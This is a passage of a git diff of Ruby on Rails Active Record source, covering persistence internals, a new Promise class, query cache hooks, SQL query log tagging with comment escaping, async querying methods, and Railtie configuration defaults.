+          { @primary_key => id_in_database }
+        else
+          self.class.query_constraints_list.index_with do |column_name|
+            attribute_in_database(column_name)
+          end
         end
+      end
 
-        clear_attribute_changes(changes.keys)
-        result = scope.update_all(changes) == 1
+      # A hook to be overridden by association modules.
+      def destroy_associations
+      end
+
+      def destroy_row
+        _delete_row
+      end
 
-        if !result && locking_enabled?
-          raise ActiveRecord::StaleObjectError.new(self, "touch")
+      def _delete_row
+        self.class._delete_record(_query_constraints_hash)
+      end
+
+      def _touch_row(attribute_names, time)
+        time ||= current_time_from_proper_timezone
+
+        attribute_names.each do |attr_name|
+          _write_attribute(attr_name, time)
         end
 
-        @_trigger_update_callback = result
-        result
-      else
-        true
+        _update_row(attribute_names, "touch")
       end
-    end
 
-  private
+      def _update_row(attribute_names, attempted_action = "update")
+        self.class._update_record(
+          attributes_with_values(attribute_names),
+          _query_constraints_hash
+        )
+      end
 
-    # A hook to be overridden by association modules.
-    def destroy_associations
-    end
+      def create_or_update(**, &block)
+        _raise_readonly_record_error if readonly?
+        return false if destroyed?
+        result = new_record? ? _create_record(&block) : _update_record(&block)
+        result != false
+      end
 
-    def destroy_row
-      relation_for_destroy.delete_all
-    end
+      # Updates the associated record with values matching those of the instance attributes.
+      # Returns the number of affected rows.
+      def _update_record(attribute_names = self.attribute_names)
+        attribute_names = attributes_for_update(attribute_names)
 
-    def relation_for_destroy
-      self.class.unscoped.where(self.class.primary_key => id)
-    end
+        if attribute_names.empty?
+          affected_rows = 0
+          @_trigger_update_callback = true
+        else
+          affected_rows = _update_row(attribute_names)
+          @_trigger_update_callback = affected_rows == 1
+        end
 
-    def create_or_update(*args)
-      _raise_readonly_record_error if readonly?
-      result = new_record? ? _create_record : _update_record(*args)
-      result != false
-    end
+        @previously_new_record = false
 
-    # Updates the associated record with values matching those of the instance attributes.
-    # Returns the number of affected rows.
-    def _update_record(attribute_names = self.attribute_names)
-      attributes_values = arel_attributes_with_values_for_update(attribute_names)
-      if attributes_values.empty?
-        rows_affected = 0
-        @_trigger_update_callback = true
-      else
-        rows_affected = self.class.unscoped._update_record attributes_values, id, id_in_database
-        @_trigger_update_callback = rows_affected > 0
+        yield(self) if block_given?
+
+        affected_rows
       end
-      rows_affected
-    end
 
-    # Creates a record with values matching those of the instance attributes
-    # and returns its id.
-    def _create_record(attribute_names = self.attribute_names)
-      attributes_values = arel_attributes_with_values_for_create(attribute_names)
+      # Creates a record with values matching those of the instance attributes
+      # and returns its id.
+      def _create_record(attribute_names = self.attribute_names)
+        attribute_names = attributes_for_create(attribute_names)
 
-      new_id = self.class.unscoped.insert attributes_values
-      self.id ||= new_id if self.class.primary_key
+        self.class.with_connection do |connection|
+          returning_columns = self.class._returning_columns_for_insert(connection)
 
-      @new_record = false
-      id
-    end
+          returning_values = self.class._insert_record(
+            connection,
+            attributes_with_values(attribute_names),
+            returning_columns
+          )
 
-    def verify_readonly_attribute(name)
-      raise ActiveRecordError, "#{name} is marked as readonly" if self.class.readonly_attributes.include?(name)
-    end
+          returning_columns.zip(returning_values).each do |column, value|
+            _write_attribute(column, type_for_attribute(column).deserialize(value)) if !_read_attribute(column)
+          end if returning_values
+        end
 
-    def _raise_record_not_destroyed
-      @_association_destroy_exception ||= nil
-      raise @_association_destroy_exception || RecordNotDestroyed.new("Failed to destroy the record", self)
-    ensure
-      @_association_destroy_exception = nil
-    end
+        @new_record = false
+        @previously_new_record = true
 
-    def belongs_to_touch_method
-      :touch
-    end
+        yield(self) if block_given?
 
-    def _raise_readonly_record_error
-      raise ReadOnlyRecord, "#{self.class} is marked as readonly"
-    end
+        id
+      end
+
+      def verify_readonly_attribute(name)
+        raise ActiveRecordError, "#{name} is marked as readonly" if self.class.readonly_attribute?(name)
+      end
+
+      def _raise_record_not_destroyed
+        @_association_destroy_exception ||= nil
+        key = self.class.primary_key
+        raise @_association_destroy_exception || RecordNotDestroyed.new("Failed to destroy #{self.class} with #{key}=#{id}", self)
+      ensure
+        @_association_destroy_exception = nil
+      end
+
+      def _raise_readonly_record_error
+        raise ReadOnlyRecord, "#{self.class} is marked as readonly"
+      end
+
+      def _raise_record_not_touched_error
+        raise ActiveRecordError, <<~MSG.squish
+          Cannot touch on a new or destroyed record object. Consider using
+          persisted?, new_record?, or destroyed? before touching.
+        MSG
+      end
   end
 end
diff --git a/activerecord/lib/active_record/promise.rb b/activerecord/lib/active_record/promise.rb
new file mode 100644
index 0000000000000..4e9b2ff06e3d5
--- /dev/null
+++ b/activerecord/lib/active_record/promise.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class Promise < BasicObject
+    undef_method :==, :!, :!=
+
+    def initialize(future_result, block) # :nodoc:
+      @future_result = future_result
+      @block = block
+    end
+
+    # Returns whether the associated query is still being executed or not.
+    def pending?
+      @future_result.pending?
+    end
+
+    # Returns the query result.
+    # If the query wasn't completed yet, accessing +#value+ will block until the query completes.
+    # If the query failed, +#value+ will raise the corresponding error.
+    def value
+      return @value if defined? @value
+
+      result = @future_result.result
+      @value = if @block
+        @block.call(result)
+      else
+        result
+      end
+    end
+
+    # Returns a new +ActiveRecord::Promise+ that will apply the passed block
+    # when the value is accessed:
+    #
+    #   Post.async_pick(:title).then { |title| title.upcase }.value
+    #   # => "POST TITLE"
+    def then(&block)
+      Promise.new(@future_result, @block ? @block >> block : block)
+    end
+
+    [:class, :respond_to?, :is_a?].each do |method|
+      define_method(method, ::Object.instance_method(method))
+    end
+
+    def inspect # :nodoc:
+      "#<ActiveRecord::Promise status=#{status}>"
+    end
+
+    def pretty_print(q) # :nodoc:
+      q.text(inspect)
+    end
+
+    private
+      def status
+        if @future_result.pending?
+          :pending
+        elsif @future_result.canceled?
+          :canceled
+        else
+          :complete
+        end
+      end
+
+      class Complete < self # :nodoc:
+        attr_reader :value
+
+        def initialize(value)
+          @value = value
+        end
+
+        def then
+          Complete.new(yield @value)
+        end
+
+        def pending?
+          false
+        end
+
+        private
+          def status
+            :complete
+          end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/query_cache.rb b/activerecord/lib/active_record/query_cache.rb
index ec246e97bc5a0..7d91c5704f012 100644
--- a/activerecord/lib/active_record/query_cache.rb
+++ b/activerecord/lib/active_record/query_cache.rb
@@ -1,47 +1,62 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   # = Active Record Query Cache
   class QueryCache
+    # ActiveRecord::Base extends this module, so these methods are available in models.
     module ClassMethods
       # Enable the query cache within the block if Active Record is configured.
       # If it's not, it will execute the given block.
       def cache(&block)
-        if connected?
-          connection.cache(&block)
+        if connected? || !configurations.empty?
+          pool = connection_pool
+          was_enabled = pool.query_cache_enabled
+          begin
+            pool.enable_query_cache(&block)
+          ensure
+            pool.clear_query_cache unless was_enabled
+          end
         else
           yield
         end
       end
 
-      # Disable the query cache within the block if Active Record is configured.
-      # If it's not, it will execute the given block.
-      def uncached(&block)
-        if connected?
-          connection.uncached(&block)
+      # Runs the block with the query cache disabled.
+      #
+      # If the query cache was enabled before the block was executed, it is
+      # enabled again after it.
+      #
+      # Set <tt>dirties: false</tt> to prevent query caches on all connections
+      # from being cleared by write operations. (By default, write operations
+      # dirty all connections' query caches in case they are replicas whose
+      # cache would now be outdated.)
+      def uncached(dirties: true, &block)
+        if connected? || !configurations.empty?
+          connection_pool.disable_query_cache(dirties: dirties, &block)
         else
           yield
         end
       end
     end
 
-    def self.run
-      caching_pool = ActiveRecord::Base.connection_pool
-      caching_was_enabled = caching_pool.query_cache_enabled
-
-      caching_pool.enable_query_cache!
-
-      [caching_pool, caching_was_enabled]
-    end
-
-    def self.complete((caching_pool, caching_was_enabled))
-      caching_pool.disable_query_cache! unless caching_was_enabled
+    module ExecutorHooks # :nodoc:
+      def self.run
+        ActiveRecord::Base.connection_handler.each_connection_pool.reject(&:query_cache_enabled).each do |pool|
+          next if pool.db_config&.query_cache == false
+          pool.enable_query_cache!
+        end
+      end
 
-      ActiveRecord::Base.connection_handler.connection_pool_list.each do |pool|
-        pool.release_connection if pool.active_connection? && !pool.connection.transaction_open?
+      def self.complete(pools)
+        pools.each do |pool|
+          pool.disable_query_cache!
+          pool.clear_query_cache
+        end
       end
     end
 
-    def self.install_executor_hooks(executor = ActiveSupport::Executor)
-      executor.register_hook(self)
+    def self.install_executor_hooks(executor = ActiveSupport::Executor) # :nodoc:
+      executor.register_hook(ExecutorHooks)
     end
   end
 end
diff --git a/activerecord/lib/active_record/query_logs.rb b/activerecord/lib/active_record/query_logs.rb
new file mode 100644
index 0000000000000..a66852061f05b
--- /dev/null
+++ b/activerecord/lib/active_record/query_logs.rb
@@ -0,0 +1,241 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/attribute_accessors_per_thread"
+require "active_record/query_logs_formatter"
+
+module ActiveRecord
+  # = Active Record Query Logs
+  #
+  # Automatically append comments to SQL queries with runtime information tags. This can be used to trace troublesome
+  # SQL statements back to the application code that generated these statements.
+  #
+  # Query logs can be enabled via \Rails configuration in <tt>config/application.rb</tt> or an initializer:
+  #
+  #     config.active_record.query_log_tags_enabled = true
+  #
+  # By default the name of the application, the name and action of the controller, or the name of the job are logged.
+  # The default format is {SQLCommenter}[https://open-telemetry.github.io/opentelemetry-sqlcommenter/].
+  # The tags shown in a query comment can be configured via \Rails configuration:
+  #
+  #     config.active_record.query_log_tags = [ :application, :controller, :action, :job ]
+  #
+  # Active Record defines default tags available for use:
+  #
+  # * +application+
+  # * +pid+
+  # * +socket+
+  # * +db_host+
+  # * +database+
+  # * +source_location+
+  #
+  # WARNING: Calculating the +source_location+ of a query can be slow, so you should consider its impact if using it in a production environment.
+  #
+  # Also see {config.active_record.verbose_query_logs}[https://guides.rubyonrails.org/debugging_rails_applications.html#verbose-query-logs].
+  #
+  # Action Controller adds default tags when loaded:
+  #
+  # * +controller+
+  # * +action+
+  # * +namespaced_controller+
+  #
+  # Active Job adds default tags when loaded:
+  #
+  # * +job+
+  #
+  # New comment tags can be defined by adding them in a +Hash+ to the tags +Array+. Tags can have dynamic content by
+  # setting a +Proc+ or lambda value in the +Hash+, and can reference any value stored by \Rails in the +context+ object.
+  # ActiveSupport::CurrentAttributes can be used to store application values. Tags with +nil+ values are
+  # omitted from the query comment.
+  #
+  # Escaping is performed on the string returned, however untrusted user input should not be used.
+  #
+  # Example:
+  #
+  #     config.active_record.query_log_tags = [
+  #       :namespaced_controller,
+  #       :action,
+  #       :job,
+  #       {
+  #         request_id: ->(context) { context[:controller]&.request&.request_id },
+  #         job_id: ->(context) { context[:job]&.job_id },
+  #         tenant_id: -> { Current.tenant&.id },
+  #         static: "value",
+  #       },
+  #     ]
+  #
+  # By default the name of the application, the name and action of the controller, or the name of the job are logged
+  # using the {SQLCommenter}[https://open-telemetry.github.io/opentelemetry-sqlcommenter/] format. This can be changed
+  # via {config.active_record.query_log_tags_format}[https://guides.rubyonrails.org/configuring.html#config-active-record-query-log-tags-format]
+  #
+  # Tag comments can be prepended to the query:
+  #
+  #     config.active_record.query_log_tags_prepend_comment = true
+  #
+  # For applications where the content will not change during the lifetime of
+  # the request or job execution, the tags can be cached for reuse in every query:
+  #
+  #    config.active_record.cache_query_log_tags = true
+  module QueryLogs
+    class GetKeyHandler # :nodoc:
+      def initialize(name)
+        @name = name
+      end
+
+      def call(context)
+        context[@name]
+      end
+    end
+
+    class IdentityHandler # :nodoc:
+      def initialize(value)
+        @value = value
+      end
+
+      def call(_context)
+        @value
+      end
+    end
+
+    class ZeroArityHandler # :nodoc:
+      def initialize(proc)
+        @proc = proc
+      end
+
+      def call(_context)
+        @proc.call
+      end
+    end
+
+    @taggings = {}.freeze
+    @tags = [ :application ].freeze
+    @prepend_comment = false
+    @cache_query_log_tags = false
+    @tags_formatter = false
+
+    thread_mattr_accessor :cached_comment, instance_accessor: false
+
+    class << self
+      attr_reader :tags, :taggings, :tags_formatter # :nodoc:
+      attr_accessor :prepend_comment, :cache_query_log_tags # :nodoc:
+
+      def taggings=(taggings) # :nodoc:
+        @taggings = taggings.freeze
+        @handlers = rebuild_handlers
+      end
+
+      def tags=(tags) # :nodoc:
+        @tags = tags.freeze
+        @handlers = rebuild_handlers
+      end
+
+      def tags_formatter=(format) # :nodoc:
+        @formatter = case format
+        when :legacy
+          LegacyFormatter
+        when :sqlcommenter
+          SQLCommenter
+        else
+          raise ArgumentError, "Formatter is unsupported: #{format}"
+        end
+        @tags_formatter = format
+      end
+
+      def call(sql, connection) # :nodoc:
+        comment = self.comment(connection)
+
+        if comment.blank?
+          sql
+        elsif prepend_comment
+          "#{comment} #{sql}"
+        else
+          "#{sql} #{comment}"
+        end
+      end
+
+      def clear_cache # :nodoc:
+        self.cached_comment = nil
+      end
+
+      def query_source_location # :nodoc:
+        LogSubscriber.backtrace_cleaner.first_clean_frame
+      end
+
+      ActiveSupport::ExecutionContext.after_change { ActiveRecord::QueryLogs.clear_cache }
+
+      private
+        def rebuild_handlers
+          handlers = []
+          @tags.each do |i|
+            if i.is_a?(Hash)
+              i.each do |k, v|
+                handlers << [k, build_handler(k, v)]
+              end
+            else
+              handlers << [i, build_handler(i)]
+            end
+          end
+          handlers.sort_by! { |(key, _)| key.to_s }
+        end
+
+        def build_handler(name, handler = nil)
+          handler ||= @taggings[name]
+          if handler.nil?
+            GetKeyHandler.new(name)
+          elsif handler.respond_to?(:call)
+            if handler.arity == 0
+              ZeroArityHandler.new(handler)
+            else
+              handler
+            end
+          else
+            IdentityHandler.new(handler)
+          end
+        end
+
+        # Returns an SQL comment +String+ containing the query log tags.
+        # Sets and returns a cached comment if <tt>cache_query_log_tags</tt> is +true+.
+        def comment(connection)
+          if cache_query_log_tags
+            self.cached_comment ||= uncached_comment(connection)
+          else
+            uncached_comment(connection)
+          end
+        end
+
+        def uncached_comment(connection)
+          content = tag_content(connection)
+
+          if content.present?
+            "/*#{escape_sql_comment(content)}*/"
+          end
+        end
+
+        def escape_sql_comment(content)
+          # Sanitize a string to appear within an SQL comment
+          # For compatibility, this also surrounding "/*+", "/*", and "*/"
+          # characters, possibly with single surrounding space.
+          # Then follows that by replacing any internal "*/" or "/ *" with
+          # "* /" or "/ *"
+          comment = content.to_s.dup
+          comment.gsub!(%r{\A\s*/\*\+?\s?|\s?\*/\s*\Z}, "")
+          comment.gsub!("*/", "* /")
+          comment.gsub!("/*", "/ *")
+          comment
+        end
+
+        def tag_content(connection)
+          context = ActiveSupport::ExecutionContext.to_h
+          context[:connection] ||= connection
+
+          pairs = @handlers.filter_map do |(key, handler)|
+            val = handler.call(context)
+            @formatter.format(key, val) unless val.nil?
+          end
+          @formatter.join(pairs)
+        end
+    end
+
+    @handlers = rebuild_handlers
+    self.tags_formatter = :legacy
+  end
+end
diff --git a/activerecord/lib/active_record/query_logs_formatter.rb b/activerecord/lib/active_record/query_logs_formatter.rb
new file mode 100644
index 0000000000000..3969efe9c231f
--- /dev/null
+++ b/activerecord/lib/active_record/query_logs_formatter.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module QueryLogs
+    module LegacyFormatter # :nodoc:
+      class << self
+        # Formats the key value pairs into a string.
+        def format(key, value)
+          "#{key}:#{value}"
+        end
+
+        def join(pairs)
+          pairs.join(",")
+        end
+      end
+    end
+
+    class SQLCommenter # :nodoc:
+      class << self
+        def format(key, value)
+          "#{key}='#{ERB::Util.url_encode(value)}'"
+        end
+
+        def join(pairs)
+          pairs.join(",")
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/querying.rb b/activerecord/lib/active_record/querying.rb
index 36689f65596d1..ba15b2a8edf6a 100644
--- a/activerecord/lib/active_record/querying.rb
+++ b/activerecord/lib/active_record/querying.rb
@@ -1,44 +1,82 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Querying
-    delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, :none?, :one?, to: :all
-    delegate :second, :second!, :third, :third!, :fourth, :fourth!, :fifth, :fifth!, :forty_two, :forty_two!, :third_to_last, :third_to_last!, :second_to_last, :second_to_last!, to: :all
-    delegate :first_or_create, :first_or_create!, :first_or_initialize, to: :all
-    delegate :find_or_create_by, :find_or_create_by!, :find_or_initialize_by, to: :all
-    delegate :find_by, :find_by!, to: :all
-    delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, to: :all
-    delegate :find_each, :find_in_batches, :in_batches, to: :all
-    delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins, :left_joins, :left_outer_joins, :or,
-             :where, :rewhere, :preload, :eager_load, :includes, :from, :lock, :readonly,
-             :having, :create_with, :uniq, :distinct, :references, :none, :unscope, :merge, to: :all
-    delegate :count, :average, :minimum, :maximum, :sum, :calculate, to: :all
-    delegate :pluck, :ids, to: :all
+    QUERYING_METHODS = [
+      :find, :find_by, :find_by!, :take, :take!, :sole, :find_sole_by, :first, :first!, :last, :last!,
+      :second, :second!, :third, :third!, :fourth, :fourth!, :fifth, :fifth!,
+      :forty_two, :forty_two!, :third_to_last, :third_to_last!, :second_to_last, :second_to_last!,
+      :exists?, :any?, :many?, :none?, :one?,
+      :first_or_create, :first_or_create!, :first_or_initialize,
+      :find_or_create_by, :find_or_create_by!, :find_or_initialize_by,
+      :create_or_find_by, :create_or_find_by!,
+      :destroy, :destroy_all, :delete, :delete_all, :update_all, :touch_all, :destroy_by, :delete_by,
+      :find_each, :find_in_batches, :in_batches,
+      :select, :reselect, :order, :regroup, :in_order_of, :reorder, :group, :limit, :offset, :joins, :left_joins, :left_outer_joins,
+      :where, :rewhere, :invert_where, :preload, :extract_associated, :eager_load, :includes, :from, :lock, :readonly,
+      :and, :or, :annotate, :optimizer_hints, :extending,
+      :having, :create_with, :distinct, :references, :none, :unscope, :merge, :except, :only,
+      :count, :average, :minimum, :maximum, :sum, :calculate,
+      :pluck, :pick, :ids, :async_ids, :strict_loading, :excluding, :without, :with, :with_recursive,
+      :async_count, :async_average, :async_minimum, :async_maximum, :async_sum, :async_pluck, :async_pick,
+      :insert, :insert_all, :insert!, :insert_all!, :upsert, :upsert_all
+    ].freeze # :nodoc:
+    delegate(*QUERYING_METHODS, to: :all)
 
     # Executes a custom SQL query against your database and returns all the results. The results will
-    # be returned as an array with columns requested encapsulated as attributes of the model you call
-    # this method from. If you call <tt>Product.find_by_sql</tt> then the results will be returned in
+    # be returned as an array, with the requested columns encapsulated as attributes of the model you call
+    # this method from. For example, if you call <tt>Product.find_by_sql</tt>, then the results will be returned in
     # a +Product+ object with the attributes you specified in the SQL query.
     #
-    # If you call a complicated SQL query which spans multiple tables the columns specified by the
+    # If you call a complicated SQL query which spans multiple tables, the columns specified by the
     # SELECT will be attributes of the model, whether or not they are columns of the corresponding
     # table.
     #
-    # The +sql+ parameter is a full SQL query as a string. It will be called as is, there will be
-    # no database agnostic conversions performed. This should be a last resort because using, for example,
-    # MySQL specific terms will lock you to using that particular database engine or require you to
+    # The +sql+ parameter is a full SQL query as a string. It will be called as is; there will be
+    # no database agnostic conversions performed. This should be a last resort because using
+    # database-specific terms will lock you into using that particular database engine, or require you to
     # change your call if you switch engines.
     #
     #   # A simple SQL query spanning multiple tables
     #   Post.find_by_sql "SELECT p.title, c.author FROM posts p, comments c WHERE p.id = c.post_id"
-    #   # => [#<Post:0x36bff9c @attributes={"title"=>"Ruby Meetup", "first_name"=>"Quentin"}>, ...]
+    #   # => [#<Post:0x36bff9c @attributes={"title"=>"Ruby Meetup", "author"=>"Quentin"}>, ...]
     #
-    # You can use the same string replacement techniques as you can with <tt>ActiveRecord::QueryMethods#where</tt>:
+    # You can use the same string replacement techniques as you can with ActiveRecord::QueryMethods#where :
     #
     #   Post.find_by_sql ["SELECT title FROM posts WHERE author = ? AND created > ?", author_id, start_date]
     #   Post.find_by_sql ["SELECT body FROM comments WHERE author = :user_id OR approved_by = :user_id", { :user_id => user_id }]
-    def find_by_sql(sql, binds = [], preparable: nil, &block)
-      result_set = connection.select_all(sanitize_sql(sql), "#{name} Load", binds, preparable: preparable)
-      column_types = result_set.column_types.dup
-      columns_hash.each_key { |k| column_types.delete k }
+    #
+    # Note that building your own SQL query string from user input {may expose your application to
+    # injection attacks}[https://guides.rubyonrails.org/security.html#sql-injection].
+    def find_by_sql(sql, binds = [], preparable: nil, allow_retry: false, &block)
+      result = with_connection do |c|
+        _query_by_sql(c, sql, binds, preparable: preparable, allow_retry: allow_retry)
+      end
+      _load_from_sql(result, &block)
+    end
+
+    # Same as #find_by_sql but perform the query asynchronously and returns an ActiveRecord::Promise.
+    def async_find_by_sql(sql, binds = [], preparable: nil, allow_retry: false, &block)
+      with_connection do |c|
+        _query_by_sql(c, sql, binds, preparable: preparable, allow_retry: allow_retry, async: true)
+      end.then do |result|
+        _load_from_sql(result, &block)
+      end
+    end
+
+    def _query_by_sql(connection, sql, binds = [], preparable: nil, async: false, allow_retry: false) # :nodoc:
+      connection.select_all(sanitize_sql(sql), "#{name} Load", binds, preparable: preparable, async: async, allow_retry: allow_retry)
+    end
+
+    def _load_from_sql(result_set, &block) # :nodoc:
+      return [] if result_set.empty?
+
+      column_types = result_set.column_types
+
+      unless column_types.empty?
+        column_types = column_types.reject { |k, _| attribute_types.key?(k) }
+      end
+
       message_bus = ActiveSupport::Notifications.instrumenter
 
       payload = {
@@ -47,13 +85,20 @@ def find_by_sql(sql, binds = [], preparable: nil, &block)
       }
 
       message_bus.instrument("instantiation.active_record", payload) do
-        result_set.map { |record| instantiate(record, column_types, &block) }
+        if result_set.includes_column?(inheritance_column)
+          result_set.indexed_rows.map { |record| instantiate(record, column_types, &block) }
+        else
+          # Instantiate a homogeneous set
+          result_set.indexed_rows.map { |record| instantiate_instance_of(self, record, column_types, &block) }
+        end
       end
     end
 
     # Returns the result of an SQL statement that should only include a COUNT(*) in the SELECT part.
     # The use of this method should be restricted to complicated SQL queries that can't be executed
-    # using the ActiveRecord::Calculations class methods. Look into those before using this.
+    # using the ActiveRecord::Calculations class methods. Look into those before using this method,
+    # as it could lock you into a specific database engine or require a code change to switch
+    # database engines.
     #
     #   Product.count_by_sql "SELECT COUNT(*) FROM sales s, customers c WHERE s.customer_id = c.id"
     #   # => 12
@@ -62,7 +107,16 @@ def find_by_sql(sql, binds = [], preparable: nil, &block)
     #
     # * +sql+ - An SQL statement which should return a count query from the database, see the example above.
     def count_by_sql(sql)
-      connection.select_value(sanitize_sql(sql), "#{name} Count").to_i
+      with_connection do |c|
+        c.select_value(sanitize_sql(sql), "#{name} Count").to_i
+      end
+    end
+
+    # Same as #count_by_sql but perform the query asynchronously and returns an ActiveRecord::Promise.
+    def async_count_by_sql(sql)
+      with_connection do |c|
+        c.select_value(sanitize_sql(sql), "#{name} Count", async: true).then(&:to_i)
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/railtie.rb b/activerecord/lib/active_record/railtie.rb
index 0276d41494537..64349f45b49b3 100644
--- a/activerecord/lib/active_record/railtie.rb
+++ b/activerecord/lib/active_record/railtie.rb
@@ -1,5 +1,8 @@
-require "active_record"
+# frozen_string_literal: true
+
 require "rails"
+require "active_record"
+require "active_support/core_ext/object/try"
 require "active_model/railtie"
 
 # For now, action_controller must always be present with
@@ -12,6 +15,7 @@ module ActiveRecord
   # = Active Record Railtie
   class Railtie < Rails::Railtie # :nodoc:
     config.active_record = ActiveSupport::OrderedOptions.new
+    config.active_record.encryption = ActiveSupport::OrderedOptions.new
 
     config.app_generators.orm :active_record, migration: true,
                                               timestamps: true
@@ -19,20 +23,32 @@ class Railtie < Rails::Railtie # :nodoc:
     config.action_dispatch.rescue_responses.merge!(
       "ActiveRecord::RecordNotFound"   => :not_found,
       "ActiveRecord::StaleObjectError" => :conflict,
-      "ActiveRecord::RecordInvalid"    => :unprocessable_entity,
-      "ActiveRecord::RecordNotSaved"   => :unprocessable_entity
+      "ActiveRecord::RecordInvalid"    => ActionDispatch::Constants::UNPROCESSABLE_CONTENT,
+      "ActiveRecord::RecordNotSaved"   => ActionDispatch::Constants::UNPROCESSABLE_CONTENT
     )
 
     config.active_record.use_schema_cache_dump = true
+    config.active_record.check_schema_cache_dump_version = true
     config.active_record.maintain_test_schema = true
+    config.active_record.has_many_inversing = false
+    config.active_record.query_log_tags_enabled = false
+    config.active_record.query_log_tags = [ :application ]
+    config.active_record.query_log_tags_format = :legacy
+    config.active_record.cache_query_log_tags = false
+    config.active_record.query_log_tags_prepend_comment = false
+    config.active_record.raise_on_assign_to_attr_readonly = false
+    config.active_record.belongs_to_required_validates_foreign_key = true
+    config.active_record.generate_secure_token_on = :create
+    config.active_record.use_legacy_signed_id_verifier = :generate_and_verify
+    config.active_record.deprecated_associations_options = { mode: :warn, backtrace: false }
+
+    config.active_record.queues = ActiveSupport::InheritableOptions.new
 
     config.eager_load_namespaces << ActiveRecord
 
     rake_tasks do
       namespace :db do
         task :load_config do
-          ActiveRecord::Tasks::DatabaseTasks.database_configuration = Rails.application.config.database_configuration
-
           if defined?(ENGINE_ROOT) && engine = Rails::Engine.find(ENGINE_ROOT)
             if engine.paths["db/migrate"].existent
               ActiveRecord::Tasks::DatabaseTasks.migrations_paths += engine.paths["db/migrate"].to_a
@@ -52,18 +68,32 @@ class Railtie < Rails::Railtie # :nodoc:
       require "active_record/base"
       unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDERR, STDOUT)
         console = ActiveSupport::Logger.new(STDERR)
-        Rails.logger.extend ActiveSupport::Logger.broadcast console
+        console.level = Rails.logger.level
+        Rails.logger.broadcast_to(console)
       end
+      ActiveRecord.verbose_query_logs = false
+      ActiveRecord::Base.attributes_for_inspect = :all
     end
 
     runner do
       require "active_record/base"
     end
 
+    initializer "active_record.deprecator", before: :load_environment_config do |app|
+      app.deprecators[:active_record] = ActiveRecord.deprecator
+    end
+
     initializer "active_record.initialize_timezone" do
       ActiveSupport.on_load(:active_record) do
         self.time_zone_aware_attributes = true
-        self.default_timezone = :utc
+      end
+    end
+
+    initializer "active_record.postgresql_time_zone_aware_types" do
+      ActiveSupport.on_load(:active_record_postgresqladapter) do
+        ActiveSupport.on_load(:active_record) do
+          ActiveRecord::Base.time_zone_aware_types << :timestamptz
+        end
       end
     end
 
@@ -71,45 +101,163 @@ class Railtie < Rails::Railtie # :nodoc:
       ActiveSupport.on_load(:active_record) { self.logger ||= ::Rails.logger }
     end
 
-    initializer "active_record.migration_error" do
-      if config.active_record.delete(:migration_error) == :page_load
+    initializer "active_record.backtrace_cleaner" do
+      ActiveSupport.on_load(:active_record) { LogSubscriber.backtrace_cleaner = ::Rails.backtrace_cleaner }
+    end
+
+    initializer "active_record.migration_error" do |app|
+      if config.active_record.migration_error == :page_load
         config.app_middleware.insert_after ::ActionDispatch::Callbacks,
-          ActiveRecord::Migration::CheckPending
+          ActiveRecord::Migration::CheckPending,
+          file_watcher: app.config.file_watcher
       end
     end
 
-    initializer "active_record.check_schema_cache_dump" do
-      if config.active_record.delete(:use_schema_cache_dump)
-        config.after_initialize do |app|
-          ActiveSupport.on_load(:active_record) do
-            filename = File.join(app.config.paths["db"].first, "schema_cache.yml")
+    initializer "active_record.cache_versioning_support" do
+      config.after_initialize do |app|
+        ActiveSupport.on_load(:active_record) do
+          if app.config.active_record.cache_versioning && Rails.cache
+            unless Rails.cache.class.try(:supports_cache_versioning?)
+              raise <<-end_error
 
-            if File.file?(filename)
-              cache = YAML.load(File.read(filename))
-              if cache.version == ActiveRecord::Migrator.current_version
-                connection.schema_cache = cache
-                connection_pool.schema_cache = cache.dup
-              else
-                warn "Ignoring db/schema_cache.yml because it has expired. The current schema version is #{ActiveRecord::Migrator.current_version}, but the one in the cache is #{cache.version}."
-              end
+You're using a cache store that doesn't support native cache versioning.
+Your best option is to upgrade to a newer version of #{Rails.cache.class}
+that supports cache versioning (#{Rails.cache.class}.supports_cache_versioning? #=> true).
+
+Next best, switch to a different cache store that does support cache versioning:
+https://guides.rubyonrails.org/caching_with_rails.html#cache-stores.
+
+To keep using the current cache store, you can turn off cache versioning entirely:
+
+    config.active_record.cache_versioning = false
+
+              end_error
             end
           end
         end
       end
     end
 
-    initializer "active_record.warn_on_records_fetched_greater_than" do
-      if config.active_record.warn_on_records_fetched_greater_than
+    initializer "active_record.copy_schema_cache_config" do
+      active_record_config = config.active_record
+
+      ActiveRecord::ConnectionAdapters::SchemaReflection.use_schema_cache_dump = active_record_config.use_schema_cache_dump
+      ActiveRecord::ConnectionAdapters::SchemaReflection.check_schema_cache_dump_version = active_record_config.check_schema_cache_dump_version
+    end
+
+    initializer "active_record.define_attribute_methods" do |app|
+      # For resiliency, it is critical that a Rails application should be
+      # able to boot without depending on the database (or any other service)
+      # being responsive.
+      #
+      # Otherwise a bad deploy adding a lot of load on the database may require to
+      # entirely shutdown the application so the database can recover before a fixed
+      # version can be deployed again.
+      #
+      # This is why this initializer tries hard not to query the database, and if it
+      # does, it makes sure to rescue any possible database error.
+      check_schema_cache_dump_version = config.active_record.check_schema_cache_dump_version
+      config.after_initialize do
         ActiveSupport.on_load(:active_record) do
-          require "active_record/relation/record_fetch_warning"
+          # In development and test we shouldn't eagerly define attribute methods because
+          # db:test:prepare will trigger later and might change the schema.
+          #
+          # Additionally if `check_schema_cache_dump_version` is enabled (which is the default),
+          # loading the schema cache dump trigger a database connection to compare the schema
+          # versions.
+          # This means the attribute methods will be lazily defined when the model is accessed,
+          # likely as part of the first few requests or jobs. This isn't good for performance
+          # but we unfortunately have to arbitrate between resiliency and performance, and chose
+          # resiliency.
+          if !check_schema_cache_dump_version && app.config.eager_load && !Rails.env.local?
+            begin
+              descendants.each do |model|
+                if model.connection_pool.schema_reflection.cached?(model.table_name)
+                  model.define_attribute_methods
+                end
+              end
+            rescue ActiveRecordError => error
+              # Regardless of whether there was already a connection or not, we rescue any database
